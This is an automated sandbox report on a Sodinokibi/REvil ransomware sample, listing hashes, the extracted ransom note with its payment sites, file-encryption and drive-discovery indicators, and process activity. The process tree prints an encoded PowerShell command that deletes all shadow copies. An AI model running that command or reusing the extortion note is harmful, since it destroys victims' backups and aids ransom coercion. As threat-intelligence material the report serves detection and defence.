sodinokibi | e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368

General

Target

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
Size

164KB
MD5

b1306b3749be6a1655940cb3fc586336
SHA1

1b0af00271928b73e2bf231fe6cf7ab7e8d1f3ed
SHA256

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368
SHA512

0b0d1e7ba8f3748e295fb518f80ee12ea9315c050d0fcd903b7059cc11e0b49e4e42b5cb6d058038534faf06932900502bcc462e974ad4b785bfa0cea1ad8025

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\bsc7z7f6eu-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension bsc7z7f6eu. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1C3ABB1F0686C410 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/1C3ABB1F0686C410 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: btznzQhvF9tCv7neF9slx5lgOrbwyYUROUznbH5rcPJmKYvaAquBP5NgGPcsnz2X gnZeAPuTjMn5Y/QoYnm00e64iFQql0vGbKtVo3RfDu4u4GRrTwh/7oUOai8U5MVO 6XX7dWLRkzV8s6KrElJiX0bPb82xtUWZzukzUfudoqFOALMsFNNF5LwhDIRiVK4X xwHh0BMsxpkj+cy96VsVbCO/dLP4dMysm3sKfDGKdDuExolMRsWrdYI16vBijd3S QLpXWhKTR6234BvwygMbBYAnuwDEHErx+159dIpGNMO3LuqF0nypijxnOKRsIyaz /aPlTKnzMNIXFfl6PjpNSaiH/Nfiija3SIc08hj6MfNyVG70fmPPYyPnN52DwR+e j6tFgUztXngX29jYz0Hu7ALOMJqABZci0d5Z5lqDZKZ0OGgH2vxSAZ72HFaBcPyD 9i0omYVnB76KusM8LtykBD+JStk+dRBNiSahAVSMT3QSJRDAzmFX4zdL8+jwdRVV 5SWUhg4LbUqp1P0+la7EfjZQ91AeQScg8qEjvs4ibP8/4vd/SKUh9APDNNMX1ANN Y1KNLWxG1k5xw0MUi8pAmft5GrpLgUhP0Jvl5fClu6LCjFQQ1iGi1IxOO4lLodC2 ZuNDjTeA9pPIXxXH3asrG7bPno+EqdbYUm5equfwYMEycHP44Nc7dZGxsA18lJdR KSiYT8FvL3viUOcOTJVFNMxPjaROOFe9duyWame49iXYuoixNSQxGabw4VgpJVxl j/1HhDrvblpHMF49+yQ2yMpFlPu1zQ6rGsjyTqzxvyewkR5a5UPWkYsJ1qQEY/Fr jxy/wcN6jFnlWShmyEKk+VuZ1BjBJRENiYclvXv4Oy3sDDAKwWj3bE3LcdKqVA2u ROzvaZ2gvxJyGwpbIpJ/XEAnpZgVKIPEXItfdEtclu5B/HapH+17g1+1QurZneww 5vhP+M0GScETp2bcEqlD43ySvLRn5x7C9FWAxuScpXrdf9STOiOWuWaG3K1lywqX X8+4NPyevH5NWGI0x0Z/vCGgW3iOc8nBq8FtDaZEMjB7sgbx5EjeVBjY5PckV9JR qacgXBC4wbiLCN9Zyvjkz2b8bbFS0uV36GRH/Nwtd+tOx6g3jr/AU+0v9nD5yI/C 6opDSGXRj4tX53z3iT3Z8w== Extension name: bsc7z7f6eu ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1C3ABB1F0686C410

http://decryptor.top/1C3ABB1F0686C410

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GetUnprotect.raw => \??\c:\users\admin\pictures\GetUnprotect.raw.bsc7z7f6eu	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File renamed	C:\Users\Admin\Pictures\SearchTest.crw => \??\c:\users\admin\pictures\SearchTest.crw.bsc7z7f6eu	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File renamed	C:\Users\Admin\Pictures\SyncEnable.crw => \??\c:\users\admin\pictures\SyncEnable.crw.bsc7z7f6eu	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File renamed	C:\Users\Admin\Pictures\SuspendConnect.crw => \??\c:\users\admin\pictures\SuspendConnect.crw.bsc7z7f6eu	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

description	ioc	process
File opened (read-only)	\??\A:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\J:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\K:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\L:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\Q:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\V:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\E:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\I:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\N:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\O:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\Z:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\B:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\F:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\G:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\T:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\X:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\Y:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\D:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\H:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\M:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\P:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\R:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\S:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\U:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened (read-only)	\??\W:	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2372564722-193526734-2636556182-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\05c143.bmp"	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

Drops file in Program Files directory 34 IoCs

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

description	ioc	process
File opened for modification	\??\c:\program files\TestEnable.jpg	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File created	\??\c:\program files (x86)\bsc7z7f6eu-readme.txt	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\CompareMeasure.wma	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ConvertFromClose.mpp	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\DebugProtect.vstm	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\JoinFormat.mp4v	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File created	\??\c:\program files\bsc7z7f6eu-readme.txt	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\CompressPing.odp	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\NewRequest.3gpp	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ResolveReceive.doc	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\CompleteDismount.cfg	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ResumeUndo.jpeg	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\JoinOut.i64	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\OpenLimit.html	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\BackupStep.xml	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\GrantMeasure.svgz	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\MountJoin.eps	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\RenameAdd.DVR	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ResetUnlock.mp3	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ExpandGet.ram	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ResizeRemove.pptm	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\StartStep.aif	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ApproveReset.xhtml	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\CompressJoin.mpg	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ConnectSelect.zip	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ConvertPop.gif	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\DebugClose.vdw	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\TestNew.svgz	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ExitTest.xsl	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\SearchLimit.vdw	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\SetRename.mov	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\ConvertRevoke.xht	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\EditCompress.bmp	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
File opened for modification	\??\c:\program files\PingResolve.avi	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exepowershell.exe

pid	process
4228	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
4228	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
4348	powershell.exe
4348	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeBackupPrivilege	2504	vssvc.exe
Token: SeRestorePrivilege	2504	vssvc.exe
Token: SeAuditPrivilege	2504	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe

description	pid	process	target process
PID 4228 wrote to memory of 4348	4228	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe	powershell.exe
PID 4228 wrote to memory of 4348	4228	e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe
"C:\Users\Admin\AppData\Local\Temp\e0c1117610ba1b5b355ea247d6204a615beac4b6e83004527f4de901292b3368.exe"
1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:240

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/4348-130-0x0000000000000000-mapping.dmp

Download
memory/4348-131-0x000002BED6770000-0x000002BED6792000-memory.dmp

Filesize
136KB

Download
memory/4348-132-0x00007FF921980000-0x00007FF922441000-memory.dmp

Filesize
10.8MB

Download
memory/4348-133-0x00007FF921980000-0x00007FF922441000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads